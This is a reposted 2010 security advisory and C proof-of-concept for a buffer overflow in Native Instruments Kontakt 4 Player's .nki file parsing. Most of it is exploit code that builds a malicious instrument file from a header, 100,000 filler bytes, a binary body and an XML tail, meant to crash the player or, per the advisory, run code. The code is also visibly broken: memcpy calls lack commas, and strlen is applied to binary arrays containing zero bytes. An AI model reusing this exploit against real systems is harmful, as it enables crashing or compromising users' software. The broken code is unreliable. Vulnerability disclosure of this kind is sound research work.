Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow

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Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow

来源：http://www.zeroscience.mk 作者：LiquidWorm 发布时间：2010-11-22

Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC

Vendor: Native Instruments GmbH
Product web page: http://www.native-instruments.com
Affected version: 4.1.3.4125 (Standalone)

Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT
technology. Expanding the capabilities of its successful predecessor, the free
KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological
and musical limitations behind.

Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"
files. The application fails in boundry checking of the user input resulting in a crash.
The attacker can leverage from this scenario to exectute arbitrary code on the affected
system. Failed attempts will result in denial of service.

Tested on: Microsoft Windows XP Professional SP3 (English)

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4979
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php

17.11.2010

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

#define FN "Vaya_con_Dios.nki"
#define PSIZE 102556
void banner(void);

FILE *fp;

void banner()
{
printf("\n");
printf("------------------------------------------------------------\n\n");
printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");
printf("\tCopyleft (c) 2010. Zero Science Lab\n\n");
printf("------------------------------------------------------------\n");
printf("\n");
}

char starter[] = {
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0xF2, 0x5E, 0x03, 0x5A, 0x9D };

char body[] = {
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0x67, 0x27, 0xB6, 0x47, 0xDD, 0x5E, 0x92, 0xDB, 0x40, 0x1A, 0x73, 0xB2, 0x19, 0x0B, 0x79, 0x3D,
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0x7D, 0xB2, 0x2A, 0x7B, 0xAB, 0x94, 0xAF, 0x2E, 0xE0, 0x6E, 0x09, 0xDC, 0x44, 0x2B, 0xBC, 0xBC,
0xAB, 0x9E, 0x0C, 0xD6, 0x92, 0x1B, 0xF4, 0x08, 0x20, 0xAD, 0x9C, 0xBA, 0xD2, 0xB7, 0x35, 0x83,
0x46, 0x92, 0x4A, 0xDB, 0x40, 0x3C, 0xED, 0x48, 0x2E, 0xF0, 0xC6, 0x43, 0xD3, 0xF0, 0x8C, 0x6C,
0xEE, 0x5C, 0x25, 0xB5, 0x5D, 0x83, 0x97, 0x2B, 0x21, 0xD4, 0x12, 0x36, 0xA3, 0x27, 0xE8, 0x5C,
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0xB4, 0xD3, 0xED, 0x9C, 0xB5, 0x4E, 0x3A, 0xAE, 0x39, 0x43, 0x87, 0x1F, 0x5C, 0xCE, 0x6C, 0x97,
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0xB4, 0x54, 0xB4, 0x43, 0x55, 0xBA, 0x57, 0x85, 0x68, 0xCD, 0xE5, 0x6D, 0xBC, 0x1B, 0x94, 0xA0,
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0xF4, 0x0F, 0x39, 0xE0, 0x69, 0x7F, 0xAE, 0xE1, 0x0E, 0xB0, 0x01, 0x01, 0x0C, 0x00, 0xD9, 0x00,
0x00, 0x00 };

char tail[] = {
0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, //////////
0x22, 0x31, 0x2E, 0x30, 0x22, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x22,
0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E,
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0x30, 0x22, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69,
0x65, 0x73, 0x2F, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,
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0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75,
0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D,
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0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C,
0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F,
0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A };

int main(int argc, char *argv[])
{

banner();

char payload[PSIZE];
char input[100000];

memset(input,0x4A,100000);

memcpy(payload,starter,strlen(starter));
memcpy(payload+strlen(starter),input,strlen(input));
memcpy(payload+strlen(starter)+strlen(input)+body,strlen(body));
memcpy(payload+strlen(starter)+strlen(input)+strlen(body)+tail,strlen(tail));

fp = fopen(FN,"wb");

if(fp==NULL)
{
perror ("Oops! Can't open file.\n");
}

fwrite(payload,1,sizeof(payload),fp);

fclose(fp);

sleep(1);

printf("\nDone!\n");
printf("File %s created!\n", FN);

return 0;
}

[